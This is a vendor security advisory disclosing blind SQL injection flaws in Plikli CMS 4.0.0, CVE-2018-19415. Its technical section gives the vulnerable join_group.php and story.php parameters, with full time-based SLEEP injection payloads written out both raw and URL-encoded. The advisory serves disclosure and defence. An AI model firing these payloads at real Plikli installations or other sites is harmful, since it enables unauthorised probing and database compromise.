Information
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Advisory by Netsparker
Name: Blind SQL Injection Vulnerabilities in Plikli CMS
Affected Software: Plikli
Affected Versions: 4.0.0
Homepage: https://www.plikli.com/
Vulnerability: Blind SQL Injection
Severity: Critical
Status: Fixed
CVE-ID: CVE-2018-19415
Netsparker Advisory Reference: NS-18-031

Technical Details
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Blind SQL Injection

URL  : http://NSAppTest/plikli/join_group.php?id=1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/&privacy=public&join=true  
Parameter Name  : id
Parameter Type  : GET
Attack Pattern  : 1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f  

URL  : http://NSAppTest/plikli/story.php?title=test&comment_id=3 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/  
Parameter Name  : comment_id
Parameter Type  : GET
Attack Pattern  : 3+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f  

For more information on SQL Injection vulnerabilities read the article on SQL Injection.

Advisory Timeline
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28th June 2018 - First Contact
- Vendor Fixed
4th December 2018- Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.